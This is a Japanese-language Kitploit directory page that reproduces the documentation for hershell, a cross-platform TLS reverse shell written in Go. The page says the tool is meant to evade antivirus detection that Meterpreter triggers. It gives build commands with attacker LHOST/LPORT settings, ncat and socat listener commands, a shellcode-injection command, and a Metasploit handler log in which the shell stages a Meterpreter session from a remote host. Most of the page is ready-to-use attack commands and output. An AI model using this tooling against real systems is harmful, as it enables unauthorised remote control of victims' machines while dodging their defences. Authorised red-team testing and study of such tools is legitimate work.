Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hershell — マルチプラットフォームリバースシェル生成ツール | Kitploit
ツール/GitHubGitHub/lesnuages/hershell
暗号化/復号化ツールペイロード生成エクスプロイトシェルコードポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHublesnuages/hershell

hershell

マルチプラットフォームリバースシェル生成ツール

リポジトリを見る
592986年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Hershell

Goで書かれたシンプルなTCPリバースシェルです。

TLSを使用して通信を保護し、証明書の公開鍵フィンガープリントピン留め機能を提供することで、トラフィックの傍受を防ぎます。

対応OS:

  • Windows
  • Linux
  • Mac OS
  • FreeBSDと派生OS

なぜ?

Meterpreterペイロードは優れていますが、AV製品に検出されることがあります。

このプロジェクトの目的は、複数のシステムで動作するシンプルなリバースシェルを提供することです。

どのように?

Goで書かれているため、目的のアーキテクチャ向けにソースをクロスコンパイルできます。

はじめに & 依存関係

これはGoプロジェクトであるため、公式ドキュメントに従ってGolang環境($GOPATH環境変数を含む)をセットアップする必要があります。

その後、go get github.com/lesnuages/hershellを実行してプロジェクトを取得します。

ペイロードのビルド

作業を簡単にするために、提供されているMakefileを使用できます。 次の環境変数を設定できます:

  • GOOS : ターゲットOS
  • GOARCH : ターゲットアーキテクチャ
  • LHOST : 攻撃者のIPまたはドメイン名
  • LPORT : リスナーポート

GOOSとGOARCH変数に指定可能な値はこちらで確認できます。

ただし、Makefileにはいくつかの補助ターゲットが用意されています:

  • depends : サーバー証明書を生成(リバースシェルに必要)
  • windows32 : Windows 32ビット実行ファイルをビルド(PE 32ビット)
  • windows64 : Windows 64ビット実行ファイルをビルド(PE 64ビット)
  • linux32 : Linux 32ビット実行ファイルをビルド(ELF 32ビット)
  • linux64 : Linux 64ビット実行ファイルをビルド(ELF 64ビット)
  • macos32 : Mac OS 32ビット実行ファイルをビルド(Mach-O)
  • macos64 : Mac OS 64ビット実行ファイルをビルド(Mach-O)

これらのターゲットでは、LHOSTとLPORT環境変数を設定するだけで済みます。

シェルの使用

実行すると、リモートシェルが提供されます。 このカスタムインタラクティブシェルを使用すると、Windowsではcmd.exeを介して、UNIXマシンでは/bin/shを介してシステムコマンドを実行できます。

以下の特別なコマンドがサポートされています:

  • run_shell : システムシェルを起動します(例: ディレクトリの変更が可能)
  • inject <base64 shellcode> : シェルコード(base64エンコード)を同じプロセスメモリに注入し、実行します
  • meterpreter [tcp|http|https] IP:PORT : multi/handlerに接続してMetasploitからステージ2リバースtcp、http、またはhttpsメーターpreterを取得し、シェルコードをメモリ内で実行します(現時点ではWindowsのみ)
  • exit : 正常に終了します

使用法

まず、有効な証明書を生成する必要があります:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Windowsの場合:

root@kitploit:~
# 32ビットターゲットの定義済み
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# 64ビットターゲットの定義済み
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Linuxの場合:

root@kitploit:~
# 32ビットターゲットの定義済み
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# 64ビットターゲットの定義済み
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Mac OS Xの場合

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

例

基本的な使用法

受信接続を処理するために、以下のような様々なツールを使用できます:

  • socat
  • ncat
  • opensslサーバーモジュール
  • Metasploit multi handler(python/shell_reverse_tcp_sslペイロードを使用)

ncatを使用した例:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

socatを使用した例(バージョン1.7.3.2でテスト済み):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# ここで接続が開始される
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter ステージング

警告: 現在はWindowsプラットフォームでのみ動作します。

Meterpreterステージングは現在、以下のペイロードをサポートしています:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

正しいものを使用するには、使用するトランスポート(tcp、http、https)を指定するだけです。

Meterpreterステージング機能を使用するには、ハンドラーを起動します:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

次に、hershellでmeterpreterコマンドを使用します:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

新しいMeterpreterセッションがmsfconsoleに表示されるはずです:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

クレジット

Dockerfile機能の提供: @khast3x

ツールをダウンロード